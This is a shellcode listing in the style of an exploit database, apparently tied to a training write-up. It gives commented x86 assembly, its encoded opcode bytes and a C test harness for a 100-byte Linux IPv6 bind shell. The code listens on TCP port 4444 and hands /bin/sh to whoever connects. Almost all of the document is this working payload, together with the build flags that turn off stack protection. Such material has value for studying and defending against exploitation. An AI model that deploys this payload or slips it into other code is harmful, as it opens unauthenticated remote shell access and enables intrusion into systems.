100 bytes small Linux/x86 /bin/sh bindshell IPv6 TCP/4444 shellcode.
0dc31090de755d284bd719ffb52f6db9# Title: Linux/x86 - Bind (4444/TCP) Shell + IPv6 Shellcode (100 bytes)
# Length : 100bytes
# Author: Kartik Durg
# Write-up Link: https://iamroot.blog/2018/07/17/0x1-shell_bind_tcp_ipv6-linux-x86/
# Tested on: Ubuntu 16.0.4.1 (i686)
/*
global _start
section .text
_start:
;References:
;(1)http://syscalls.kernelgrok.com/
;(2)https://www.3dbrew.org/wiki/Socket_Services
;(3)http://osr600doc.xinuos.com/en/SDK_netapi/sockC.TheIPv6sockaddrstructure.html
;(4)http://www.qnx.com/developers/docs/6.5.0/index.jsp?topic=%2Fcom.qnx.doc.neutrino_lib_ref%2Fi%2Finet6_proto.html
;IPV6 socket creation
;int socketcall(int call, unsigned long *args);
;sockfd = socket(int socket_family, int socket_type, int protocol);
push byte 0x66 ; socketcall()
pop eax ;EAX=0x2
xor ebx,ebx ; zero out ebx
push 0x6 ; IPPROTO_TCP=6
push 0x1 ; socket_type=SOCK_STREAM (0x1)
push 0xa ; AF_INET6
inc ebx ; Define SYS_socket = 1
mov ecx,esp ; save pointer (ESP) to socket() args (ECX)
int 0x80
xchg esi,eax ; host_sockfd stored in esi
xor eax,eax
;int socketcall(int call, unsigned long *args);
;bind(host_sockfd, (struct sockaddr*) &host_addr, sizeof(host_addr));
push DWORD eax ;x4 dword ipv6 loopback | EAX contains 0
push DWORD eax
push DWORD eax
push DWORD eax
push eax ;sin6_addr = in6addr_any | in6addr_any=::0
push WORD 0x5c11 ;sin6_port=4444 | 0x5c11 | Configurable |
push WORD 0x0a ;AF_INET6
mov ecx,esp ;ECX holds pointer to struct sockaddr
push byte 0x1c ;sizeof(sockaddr_in6) | sockaddr_in6 = 28
push ecx ;pointer to host_sockfd
push esi ;host_sockfd
mov ecx,esp ;ECX points to args
inc ebx ;EBX = 0x2 | #define SYS_BIND 2
push byte 0x66 ;socketcall()
pop eax
int 80h
;Listen
;int socketcall(int call, unsigned long *args);
;int listen(int host_sockfd, int backlog);
push ebx ;EBX=2 | backlog=2
push esi ;poiter to host_sockfd
mov ecx,esp ;ECX points to args
inc ebx
inc ebx ;EBX=0x4 | #define SYS_LISTEN 4
push byte 0x66
pop eax ;socketcall()
int 80h
;Accept
;int socketcall(int call, unsigned long *args);
;accept(int sockfd, NULL, NULL);
cdq ;EDX = 0x0 | Saves a byte
push edx ;Push NULL
push edx ;Push NULL
push esi ;Push host_sockfd
mov ecx,esp ;ECX points to args
inc ebx ;EBX = 0x5 | #define SYS_ACCEPT 5
push byte 0x66 ;socketcall()
pop eax
int 80h
xchg ebx,eax ;save client_sockfd
push byte 0x2 ;push 0x2 on stack
pop ecx ;ECX = 2
;dup2() to redirect stdin(0), stdout(1) and stderr(2)
loop:
push byte 0x3f ;dup2()
pop eax ;ECX = 0x3f
int 0x80 ;exec sys_dup2
dec ecx ;decrement counter
jns loop ;SF not set? then keep on jumping
;execve(/bin//sh)
xor ecx,ecx ;clear ECX
push ecx ;Push NULL
push byte 0x0b ;execve() sys call number
pop eax ;EAX=0x2 | execve()
push 0x68732f2f ;(1)/bin//sh
push 0x6e69622f ;(2)/bin//sh
mov ebx,esp ;EBX pointing to "/bin//sh"
int 0x80 ;Calling Interrupt for sys call
*/
/*
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32
./shellcode
*/
#include<stdio.h>
unsigned char shellcode[] = \
"\x6a\x66\x58\x31\xdb\x6a\x06\x6a\x01\x6a\x0a\x43\x89\xe1\xcd\x80\x96\x31\xc0\x50\x50\x50\x50\x50\x66\x68\x11\x5c\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x53\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd\x80\x99\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", sizeof(shellcode) - 1);
int (*ret)() = (int(*)())shellcode;
ret();
}